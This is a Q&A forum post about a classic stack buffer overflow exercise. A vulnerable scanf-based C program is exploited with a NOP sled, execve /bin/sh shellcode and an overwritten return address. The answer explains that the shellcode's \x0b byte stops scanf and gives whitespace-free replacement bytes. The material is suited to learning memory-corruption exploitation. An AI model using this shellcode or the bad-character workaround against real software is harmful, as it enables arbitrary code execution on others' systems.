Not able to run the injected shellcode

Question

#include <stdio.h>

void secret()
{
    printf("Congratulations!\n");
}

void echo()
{
    char array[60];
    scanf("%s", array);
    printf("You entered: %s\n", array);    
}

int main()
{
    echo();
    return 0;
}

above is the code which I am trying to exploit.

I have found the ebp address using gdb, although I know it's difficult to point to the exact location. I have used NOP sled technique

buffer size allocated - 0x44 - 68bytes

shell code is - 25 bytes

python -c 'print "\x90"*47 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "\xa8\xbb\xff\xff"' | ./test

I am trying to jump somewhere in the middle of NOP sled.

And not getting a segmentation fault, but neither am I getting the access to the shell.

Answer 1

The problem is the \x0b character in your shellcode. It is a whitespace character (VT, Vertical Tab) and scanf stops reading at whitespace characters.

You may replace \xb0\x0b by \xb0\x08\x40\x40\x40 which contains no whitespace characters.

b0 0b                   mov    al,0xb

is equivalent to

b0 08                   mov    al,0x8
40                      inc    eax
40                      inc    eax
40                      inc    eax 

There may exist shorter solutions.